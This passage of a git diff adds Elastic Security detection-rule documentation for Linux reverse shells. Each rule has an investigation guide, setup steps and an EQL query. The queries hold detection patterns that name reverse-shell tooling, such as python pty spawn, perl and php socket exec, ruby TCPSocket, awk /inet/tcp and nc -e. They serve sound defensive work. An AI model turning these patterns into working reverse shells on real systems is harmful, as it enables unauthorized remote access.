configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click Add integrations. +- In the query bar, search for Elastic Defend and select the integration to see more details about it. +- Click Add Elastic Defend. +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either Traditional Endpoints or Cloud Workloads. +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest to select "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in New agent policy name. If other agent policies already exist, you can click the Existing hosts tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click Save and Continue. +- To complete the integration, select Add Elastic Agent to your hosts and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entity_id with maxspan=5s + [network where event.type == "start" and host.os.type == "linux" and + event.action in ("connection_attempted", "connection_accepted") and + process.name : ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "socat") and destination.ip != null and + not cidrmatch(destination.ip, "127.0.0.0/8", "169.254.0.0/16", "224.0.0.0/4", "::1")] + [process where event.type == "start" and host.os.type == "linux" and event.action == "exec" and + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and ( + (process.args : ("-i", "-l")) or (process.parent.name == "socat" and process.parent.args : "*exec*") + )] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-reverse-shell-via-suspicious-binary.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-reverse-shell-via-suspicious-binary.asciidoc new file mode 100644 index 0000000000..00fe5de985 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-reverse-shell-via-suspicious-binary.asciidoc @@ -0,0 +1,182 @@ +[[prebuilt-rule-8-19-20-potential-reverse-shell-via-suspicious-binary]] +=== Potential Reverse Shell via Suspicious Binary + +This detection rule detects the creation of a shell through a chain consisting of the execution of a suspicious binary (located in a commonly abused location or executed manually) followed by a network event and ending with a shell being spawned. Stageless reverse tcp shells display this behaviour. Attackers may spawn reverse shells to establish persistence onto a target system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 13 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Reverse Shell via Suspicious Binary* + + +Reverse shells are a common technique used by attackers to gain persistent access to a compromised system. They exploit legitimate shell environments to execute commands remotely. Adversaries often deploy binaries in unusual directories to evade detection. The detection rule identifies suspicious binaries executed in these locations, followed by network activity and shell spawning, indicating potential reverse shell activity. This approach helps in identifying unauthorized access attempts on Linux systems. + + +*Possible investigation steps* + + +- Review the process execution details to identify the suspicious binary's path and name, focusing on the directories specified in the query such as /tmp, /var/tmp, and /dev/shm. +- Examine the parent process of the suspicious binary to determine if it was spawned by a legitimate shell process like bash or sh, as indicated in the query. +- Analyze the network activity associated with the suspicious binary, paying attention to the destination IP address to identify any external connections that are not local (i.e., not 127.0.0.1 or ::1). +- Check the process tree to see if a new shell was spawned following the network activity, which could indicate a reverse shell attempt. +- Investigate the user account under which the suspicious process was executed to assess if it aligns with expected behavior or if it might be compromised. +- Correlate the event timestamps to understand the sequence of actions and verify if they align with typical reverse shell behavior patterns. + + +*False positive analysis* + + +- Legitimate administrative scripts or binaries may be executed from directories like /tmp or /var/tmp during maintenance tasks. To handle this, create exceptions for known scripts or binaries used by trusted administrators. +- Automated deployment tools might temporarily use directories such as /dev/shm or /run for staging files. Identify these tools and exclude their processes from triggering the rule. +- Custom monitoring or backup scripts could initiate network connections from non-standard directories. Review these scripts and whitelist their activities if they are verified as safe. +- Development or testing environments might involve executing binaries from unusual locations. Ensure these environments are well-documented and exclude their processes from the detection rule. +- Some legitimate applications may spawn shells as part of their normal operation. Identify these applications and add them to an exception list to prevent false alerts. + + +*Response and remediation* + + +- Isolate the affected system from the network immediately to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule, especially those originating from unusual directories or involving shell spawning. +- Conduct a thorough review of the system's scheduled tasks, startup scripts, and cron jobs to identify and remove any unauthorized entries that may have been added by the attacker. +- Analyze network logs to identify any external IP addresses involved in the suspicious network activity and block these IPs at the firewall to prevent further connections. +- Restore the affected system from a known good backup to ensure that any malicious changes are reverted. +- Update and patch the system to the latest security standards to close any vulnerabilities that may have been exploited. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entity_id with maxspan=1s +[ process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.executable : ( + "./*", "/tmp/*", "/var/tmp/*", "/var/www/*", "/dev/shm/*", "/etc/init.d/*", "/etc/rc*.d/*", + "/etc/crontab", "/etc/cron.*", "/etc/update-motd.d/*", "/usr/lib/update-notifier/*", + "/boot/*", "/srv/*", "/run/*", "/root/*", "/etc/rc.local" + ) and + process.parent.name : ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and not + process.name : ("curl", "wget", "ping", "apt", "dpkg", "yum", "rpm", "dnf", "dockerd") ] +[ network where host.os.type == "linux" and event.type == "start" and event.action in ("connection_attempted", "connection_accepted") and + process.executable : ( + "./*", "/tmp/*", "/var/tmp/*", "/var/www/*", "/dev/shm/*", "/etc/init.d/*", "/etc/rc*.d/*", + "/etc/crontab", "/etc/cron.*", "/etc/update-motd.d/*", "/usr/lib/update-notifier/*", + "/boot/*", "/srv/*", "/run/*", "/root/*", "/etc/rc.local" + ) and destination.ip != null and destination.ip != "127.0.0.1" and destination.ip != "::1" ] +[ process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.name : ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and + process.parent.name : ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-reverse-shell-via-suspicious-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-reverse-shell-via-suspicious-child-process.asciidoc new file mode 100644 index 0000000000..7071ab0054 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-reverse-shell-via-suspicious-child-process.asciidoc @@ -0,0 +1,192 @@ +[[prebuilt-rule-8-19-20-potential-reverse-shell-via-suspicious-child-process]] +=== Potential Reverse Shell via Suspicious Child Process + +This detection rule detects the creation of a shell through a suspicious process chain. Any reverse shells spawned by the specified utilities that are initialized from a single process followed by a network connection attempt will be captured through this rule. Attackers may spawn reverse shells to establish persistence onto a target system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 15 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Reverse Shell via Suspicious Child Process* + + +Reverse shells are a common technique used by attackers to gain remote access to a compromised system. They exploit scripting languages and utilities like Python, Perl, and Netcat to execute commands remotely. The detection rule identifies suspicious process chains and network activities, such as unexpected shell spawns and outbound connections, to flag potential reverse shell attempts, leveraging process and network event analysis to detect anomalies. + + +*Possible investigation steps* + + +- Review the process chain to identify the parent process and determine if it is expected behavior for the system. Check the process.parent.name field for any unusual or unauthorized parent processes. +- Analyze the process arguments captured in the alert, such as process.args, to understand the command being executed and assess if it aligns with known reverse shell patterns. +- Investigate the network connection details, focusing on the destination.ip field, to determine if the connection is to a known malicious IP or an unexpected external address. +- Check the process.name field to identify the specific utility used (e.g., python, perl, nc) and verify if its usage is legitimate or if it indicates a potential compromise. +- Correlate the alert with other security events or logs from the same host.id to identify any additional suspicious activities or patterns that may indicate a broader attack. +- Consult threat intelligence sources to gather information on any identified IP addresses or domains involved in the network connection to assess their reputation and potential threat level. + + +*False positive analysis* + + +- Development and testing environments may frequently execute scripts using languages like Python, Perl, or Ruby, which can trigger the rule. To manage this, consider excluding specific host IDs or process names associated with known development activities. +- Automated scripts or cron jobs that utilize network connections for legitimate purposes, such as data backups or updates, might be flagged. Identify these processes and add them to an exception list based on their parent process names or specific arguments. +- System administrators might use tools like Netcat or OpenSSL for troubleshooting or monitoring network connections. If these activities are routine and verified, exclude them by specifying the administrator's user ID or the specific command patterns used. +- Security tools or monitoring solutions that simulate attack scenarios for testing purposes can also trigger this rule. Ensure these tools are recognized and excluded by their process names or associated network activities. +- Custom scripts that use shell commands to interact with remote systems for maintenance tasks may appear suspicious. Review these scripts and exclude them by their unique process arguments or parent process names. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule, particularly those involving scripting languages or utilities like Python, Perl, or Netcat. +- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise, such as unauthorized user accounts or modified system files. +- Review and reset credentials for any accounts that may have been accessed or compromised during the incident. +- Apply security patches and updates to the affected system to address any vulnerabilities that may have been exploited. +- Monitor network traffic for any signs of further suspicious activity, focusing on outbound connections from the affected host. +- Escalate the incident to the security operations center (SOC) or relevant security team for further investigation and to ensure comprehensive remediation efforts. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entity_id with maxspan=1s + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "fork") and ( + (process.name : "python*" and process.args : "-c" and process.args : ( + "*import*pty*spawn*", "*import*subprocess*call*" + )) or + (process.name : "perl*" and process.args : "-e" and process.args : "*socket*" and process.args : ( + "*exec*", "*system*" + )) or + (process.name : "ruby*" and process.args : ("-e", "-rsocket") and process.args : ( + "*TCPSocket.new*", "*TCPSocket.open*" + )) or + (process.name : "lua*" and process.args : "-e" and process.args : "*socket.tcp*" and process.args : ( + "*io.popen*", "*os.execute*" + )) or + (process.name : "php*" and process.args : "-r" and process.args : "*fsockopen*" and process.args : "*/bin/*sh*") or + (process.name : ("awk", "gawk", "mawk", "nawk") and process.args : "*/inet/tcp/*") or + (process.name : ("nc", "ncat", "netcat") and process.args == "-e" and process.args_count >= 3 and + not process.args == "-z") + ) and process.parent.name : ( + "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "python*", "php*", "perl", "ruby", "lua*", + "nc", "netcat", "ncat", "awk", "gawk", "mawk", "nawk")] + [network where host.os.type == "linux" and event.type == "start" and event.action in ("connection_attempted", "connection_accepted") and + process.name : ("python*", "php*", "perl", "ruby", "lua*", "nc", "netcat", "ncat", "awk", "gawk", "mawk", "nawk") and + destination.ip != null and not cidrmatch(destination.ip, "127.0.0.0/8", "169.254.0.0/16", "224.0.0.0/4", "::1")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-reverse-shell-via-udp.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-reverse-shell-via-udp.asciidoc new file mode 100644 index 0000000000..0b38be488d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-reverse-shell-via-udp.asciidoc @@ -0,0 +1,204 @@ +[[prebuilt-rule-8-19-20-potential-reverse-shell-via-udp]] +=== Potential Reverse Shell via UDP + +This detection rule identifies suspicious network traffic patterns associated with UDP reverse shell activity. This activity consists of a sample of an execve, socket and connect syscall executed by the same process, where the auditd.data.a0-1 indicate a UDP connection, ending with an egress connection event. An attacker may establish a Linux UDP reverse shell to bypass traditional firewall restrictions and gain remote access to a target system covertly. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms +* https://www.elastic.co/security-labs/linux-detection-engineering-with-auditd + +*Tags*: + +* Data Source: Auditd Manager +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Reverse Shell via UDP* + + +Reverse shells over UDP can be exploited by attackers to bypass firewalls and gain unauthorized access to systems. This technique leverages UDP's connectionless nature, making it harder to detect. Adversaries may use scripting languages or network tools to initiate these connections. The detection rule identifies suspicious processes executing network-related syscalls and egress connections, flagging potential reverse shell activity. + + +*Possible investigation steps* + + +- Review the process details such as process.pid, process.parent.pid, and process.name to identify the specific process that triggered the alert and its parent process. +- Examine the command line arguments and environment variables associated with the suspicious process to understand its intended function and origin. +- Check the network connection details, including destination.ip and network.direction, to determine the external entity the process attempted to connect to and assess if it is a known malicious IP or domain. +- Investigate the user account associated with the process to determine if it has been compromised or if there are any signs of unauthorized access. +- Analyze historical logs for any previous instances of similar process executions or network connections to identify patterns or repeated attempts. +- Correlate the alert with other security events or alerts from the same host.id to gather additional context and assess the scope of potential compromise. + + +*False positive analysis* + + +- Legitimate administrative scripts or tools may trigger the rule if they use UDP for valid network operations. Users can create exceptions for specific scripts or processes that are known to perform routine administrative tasks. +- Automated monitoring or network management tools that use UDP for health checks or status updates might be flagged. Identify these tools and exclude their process names or network patterns from the rule. +- Development or testing environments where developers frequently use scripting languages or network tools for legitimate purposes can cause false positives. Consider excluding specific host IDs or process names associated with these environments. +- Custom applications that use UDP for communication, especially if they are developed in-house, may be mistakenly identified. Review these applications and whitelist their process names or network behaviors if they are verified as safe. +- Network scanning or diagnostic tools that use UDP for troubleshooting can be misinterpreted as malicious. Ensure these tools are recognized and excluded from the detection rule if they are part of regular network maintenance activities. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule, particularly those associated with known reverse shell tools or scripting languages. +- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise, such as unauthorized user accounts or modified system files. +- Review and update firewall rules to block outbound UDP traffic from unauthorized applications or processes, ensuring legitimate traffic is not disrupted. +- Reset credentials for any accounts accessed from the affected host, especially if they have administrative privileges. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if other systems may be affected. +- Implement enhanced monitoring and logging for similar suspicious activities, focusing on the execution of network-related syscalls and egress connections from scripting languages or network tools. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Auditbeat +- Auditd Manager + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +*Auditd Manager Integration Setup* + +The Auditd Manager Integration receives audit events from the Linux Audit Framework which is a part of the Linux kernel. +Auditd Manager provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system. + + +*The following steps should be executed in order to add the Elastic Agent System integration "auditd_manager" on a Linux System:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Auditd Manager” and select the integration to see more details about it. +- Click “Add Auditd Manager”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “auditd manager” to an existing or a new agent policy, and deploy the agent on a Linux system from which auditd log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/auditd_manager[helper guide]. + + +*Rule Specific Setup Note* + +Auditd Manager subscribes to the kernel and receives events as they occur without any additional configuration. +However, if more advanced configuration is required to detect specific behavior, audit rules can be added to the integration in either the "audit rules" configuration box or the "auditd rule files" box by specifying a file to read the audit rules from. +- For this detection rule no additional audit rules are required to be added to the integration. + + +==== Rule query + + +[source, js] +---------------------------------- +sample by host.id, process.pid, process.parent.pid + [process where host.os.type == "linux" and event.type == "start" and event.action == "executed" and process.name : ( + "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "perl", "python*", "nc", "ncat", "netcat", "php*", + "ruby", "openssl", "awk", "telnet", "lua*", "socat" + ) and + not process.args in ("/var/www/MISP/app/Console/cake", "/var/www/MISP/app", "/usr/local/bin/wp")] + [process where host.os.type == "linux" and auditd.data.syscall == "socket" and process.name : ( + "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "perl", "python*", "nc", "ncat", "netcat", "php*", + "ruby", "openssl", "awk", "telnet", "lua*", "socat" + ) and auditd.data.a1 == "2"] + [network where host.os.type == "linux" and event.type == "start" and event.action == "connected-to" and + process.name : ( + "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "perl", "python*", "nc", "ncat", "netcat", "php*", + "ruby", "openssl", "awk", "telnet", "lua*", "socat" + ) and network.direction == "egress" and destination.ip != null and + not cidrmatch(destination.ip, "127.0.0.0/8", "169.254.0.0/16", "224.0.0.0/4", "::1")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: Lua +** ID: T1059.011 +** Reference URL: https://attack.mitre.org/techniques/T1059/011/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-reverse-shell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-reverse-shell.asciidoc new file mode 100644 index 0000000000..8b6c15aa82 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-reverse-shell.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-20-potential-reverse-shell]] +=== Potential Reverse Shell + +This detection rule identifies suspicious network traffic patterns associated with TCP reverse shell activity. This activity consists of a parent-child relationship where a network event is followed by the creation of a shell process. An attacker may establish a Linux TCP reverse shell to gain remote access to a target system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 15 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Reverse Shell* + + +Reverse shells are tools that adversaries use to gain remote access to a system by initiating a connection from the target back to the attacker. This detection rule identifies such activity by monitoring for network events followed by shell process creation on Linux systems. It flags suspicious patterns, such as shell processes with interactive flags or spawned by tools like socat, indicating potential unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the network event details to identify the source and destination IP addresses involved in the connection attempt or acceptance. Pay special attention to any external IP addresses that are not part of the internal network ranges. +- Examine the process tree to understand the parent-child relationship, focusing on the shell process creation following the network event. Verify if the shell process was spawned by a known tool like socat. +- Check the process arguments for interactive flags such as "-i" or "-l" to determine if the shell was intended to be interactive, which could indicate malicious intent. +- Investigate the user account associated with the process to determine if it is a legitimate user or if there are signs of compromise, such as unusual login times or locations. +- Correlate the event with other security logs or alerts to identify any additional suspicious activities or patterns that might indicate a broader attack campaign. +- Assess the risk and impact of the potential reverse shell by determining if any sensitive data or critical systems could have been accessed or compromised. + + +*False positive analysis* + + +- Legitimate administrative tasks using interactive shells may trigger this rule. System administrators often use shells with interactive flags for maintenance. To mitigate, create exceptions for known administrator accounts or specific IP addresses. +- Automated scripts or cron jobs that use shell commands with interactive flags can be mistaken for reverse shells. Review and whitelist these scripts by process name or parent process ID to prevent false alerts. +- Tools like socat are used in legitimate network troubleshooting and testing. If socat is frequently used in your environment, consider excluding specific command patterns or user accounts associated with its legitimate use. +- Development environments may spawn shell processes as part of testing or deployment workflows. Identify and exclude these environments by host ID or process name to reduce noise. +- Internal network connections that match the rule's criteria but are part of normal operations can be excluded by specifying internal IP ranges or known service accounts. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious shell processes identified by the detection rule, especially those initiated by socat or with interactive flags. +- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise, such as 